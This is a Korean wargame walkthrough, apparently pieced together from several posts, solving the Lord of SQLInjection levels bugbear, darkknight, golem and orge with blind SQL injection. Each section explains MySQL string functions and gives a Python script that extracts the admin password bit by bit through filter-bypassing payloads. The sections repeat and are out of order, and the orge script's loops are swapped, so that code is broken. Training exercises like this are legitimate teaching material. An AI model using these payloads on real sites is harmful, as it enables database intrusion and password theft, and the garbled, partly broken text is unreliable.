여기서는 left 함수와 right 함수 대신에 보다 간편한 mid함수를 사용하였습니다. 그리고 lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다. 또한 0x값을 사용할 수 없기 때문에 0x대신에 unhex() 함수를 사용하여 16진수를 문자로 바꿔주었습니다. 만약 unhex 값도 필터링되어있다면 char함수를 사용하면 되겠습니다.
mid(aStr, b, c) 함수는 aStr라는 문자열 값에서 b번째 위치부터 c개의 글자를 가져온다는 의미입니다.
hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.
conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.
bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.
lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.
안에 있는 mid 함수는 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 mid 함수는 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.
이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.
문제 풀이(소스)
import requests
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no='
headers = {'Cookie': 'PHPSESSID=dgjmh5ubimr8iftnm5oodml4d1'}
# get length of column =============
passwordLen = 0
for i in range(1, 100):
payload = "0||left(id,1)<unhex(62)%26%26length(pw)<" + str(i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
passwordLen = i-1
break
else:
pass
print('[=] Find Password Length : %d' % passwordLen)
Password = ''
for j in range(1, passwordLen+1):
bit = ''
for i in range(1, 9):
payload = "0||left(id,1)<unhex(62)%26%26mid(lpad(bin(conv(hex(mid(pw,{},1)),16,10)),8,0),{},1)>0".format(j,i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
# true!!
bit += '1'
else:
# false!!
bit += '0'
Password += chr(int(bit, 2))
print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))
print('[=] Find Password : %s' % Password)
위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.
0 or left(id,1)<0x62 and mid(lpad(bin(conv(hex(mid(pw,1,1)),16,10)),8,0),1,1)>0
여기서는 left 함수와 right 함수 대신에 보다 간편한 mid함수를 사용하였습니다. 그리고 lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다. 물론 여기서는 or이 필터링되어 있지 않기 때문에 ord로도 injection을 수행할 수 있습니다.
mid(aStr, b, c) 함수는 aStr라는 문자열 값에서 b번째 위치부터 c개의 글자를 가져온다는 의미입니다.
hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.
conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.
bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.
lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.
안에 있는 mid 함수는 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 mid 함수는 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.
이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.
문제 풀이(소스)
import requests
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no='
headers = {'Cookie': 'PHPSESSID=dgjmh5ubimr8iftnm5oodml4d1'}
# get length of column =============
passwordLen = 0
for i in range(1, 100):
payload = "0 or left(id,1)<0x62 and length(pw)<" + str(i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
passwordLen = i-1
break
else:
pass
print('[=] Find Password Length : %d' % passwordLen)
Password = ''
for j in range(1, passwordLen+1):
bit = ''
for i in range(1, 9):
payload = "0 or left(id,1)<0x62 and mid(lpad(bin(conv(hex(mid(pw,{},1)),16,10)),8,0),{},1)>0".format(j,i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
# true!!
bit += '1'
else:
# false!!
bit += '0'
Password += chr(int(bit, 2))
print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))
print('[=] Find Password : %s' % Password)
위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.
위쪽 PHP 소스에서는 addslashes 함수를 거치지 않기 때문에 제대로 싱글쿼터, 더블쿼터 등의 문자를 삽입하여 SQL Injection을 수행할 수 있습니다. 그러나 아래쪽 PHP 소스에서는 addslashes 함수를 거치기 때문에 이러한 기법의 SQL Injection이 불가능합니다. 그리고 결정적으로 15번 라인에서 pw에 입력한 값과 query를 실행하여 돌아온 값이 일치해야 문제가 풀리도록 하였습니다.
즉 우리가 정확한 Password를 입력해야함을 말합니다...!!
그렇다면 SQL Injection 에서 우리가 얻을 수 있는 값은 무엇인가를 봐야 합니다.
딱히 리턴되어 돌아오는 값을 알 수 없습니다. 오직 참이냐 거짓이냐 혹은 값이 있냐 없냐만 알 수 있습니다!
따라서 참이냐 거짓이냐를 알 수 있다면 이는 Blind SQL Injection을 이용해야 함을 말합니다.
문제 풀이(쿼리)
먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.
비밀번호 길이 알아내기
먼저 우리는 table의 pw라는 컬럼을 알고 있습니다. 그렇다면 MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아낼 수 있습니다.
여기서는 left 함수와 right 함수, lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다.
left(aStr, b) 함수는 aStr이라는 문자열을 왼쪽에서부터 b개의 문자를 가져오도록 하는 함수입니다.
right(aStr, b) 함수는 aStr이라는 문자열을 오른쪽에서부터 b개의 문자를 가져오도록 하는 함수입니다.
따라서 left(right(aStr, b), c)를 하게 되면 먼저 aStr이라는 문자를 오른쪽에서 b개의 문자를 가져오고, 다시 왼쪽에서 c개의 문자를 가져옵니다.
이를 응용하게 되면 left(right(aStr, b), 1)와 같이 사용할 수 있고, 이를 풀어서 해석하면 aStr 값의 b번째에서 1개의 문자를 가져온다! 가 됩니다.
hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.
conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.
bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.
lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.
안에 있는 left, right 함수는 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 left, right 함수는 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.
이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.
문제 풀이(소스)
import requests
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw='
headers = {'Cookie': 'PHPSESSID=dgjmh5ubimr8iftnm5oodml4d1'}
passwordLen = 0
for i in range(1, 100):
payload = "'||left(id,1)<0x62%26%26length(pw)<" + str(i) + "%23"
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
passwordLen = i-1
break
else:
pass
print('[=] Find Password Length : %d' % passwordLen)
Password = ''
for j in range(1, passwordLen+1):
bit = ''
for i in range(1, 9):
payload = "'||left(id,1)<0x62%26%26left(right(lpad(bin(conv(hex(left(right(pw,{}),1)),16,10)),8,0),{}),1)>0%23".format(passwordLen-j+1, 8-i+1)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
# true!!
bit += '1'
else:
# false!!
bit += '0'
Password += chr(int(bit, 2))
print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))
print('[=] Find Password : %s' % Password)
위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.
위쪽 PHP 소스에서는 addslashes 함수를 거치지 않기 때문에 제대로 싱글쿼터, 더블쿼터 등의 문자를 삽입하여 SQL Injection을 수행할 수 있습니다. 그러나 아래쪽 PHP 소스에서는 addslashes 함수를 거치기 때문에 이러한 기법의 SQL Injection이 불가능합니다. 그리고 결정적으로 15번 라인에서 pw에 입력한 값과 query를 실행하여 돌아온 값이 일치해야 문제가 풀리도록 하였습니다.
즉 우리가 정확한 Password를 입력해야함을 말합니다...!!
그렇다면 SQL Injection 에서 우리가 얻을 수 있는 값은 무엇인가를 봐야 합니다.
딱히 리턴되어 돌아오는 값을 알 수 없습니다. 오직 참이냐 거짓이냐 혹은 값이 있냐 없냐만 알 수 있습니다!
따라서 참이냐 거짓이냐를 알 수 있다면 이는 Blind SQL Injection을 이용해야 함을 말합니다.
문제 풀이(쿼리)
먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.
비밀번호 길이 알아내기
먼저 우리는 table의 pw라는 컬럼을 알고 있습니다. 그렇다면 MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아낼 수 있습니다.
여기서는 substr 함수와 lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다.
substr(pw, 1, 1)은 pw 테이블에 있는 값을 가져와서 1번째 위치에서 1개의 값을 가져온다는 뜻입니다. 만약 substr(pw, 2, 1)이라면 2번째 위치에서 1개의 값을 가져온다는 뜻이 됩니다.
hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.
conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.
bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.
lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.
안에 있는 substr은 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 substr은 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.
이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.
문제 풀이(소스)
import requests
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='
headers = {'Cookie': 'PHPSESSID=bhvv81n0c3ba6775vl017ojk12'}
passwordLen = 0
# It is GET Parameter
# Get Length of Password =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
payload = "'||id='admin'%26%26length(pw)="
for i in range(1, 100):
tmpPayload = payload + str(i) + '%23'
res = sess.get(url=URL+tmpPayload, headers=headers, verify=False)
if 'Hello admin' in res.text:
# true
print('[=] Find Password Length : %d' % i)
passwordLen = i
break
else:
# false
pass
# Get Name of Password =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Password = ''
for j in range(1, 9):
bit = ''
for i in range(1, passwordLen+1):
payload = "'||id='admin'%26%26substr(lpad(bin(conv(hex(substr(pw,{},1)),16,10)),8,0),{},1)=1%23".format(j, i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'Hello admin' in res.text:
# true ==> the bit is 1
bit += '1'
else:
# false ==> the bit is 0
bit += '0'
Password += chr(int(bit, 2))
print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))
print('[=] Find Password : %s' % Password)
위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.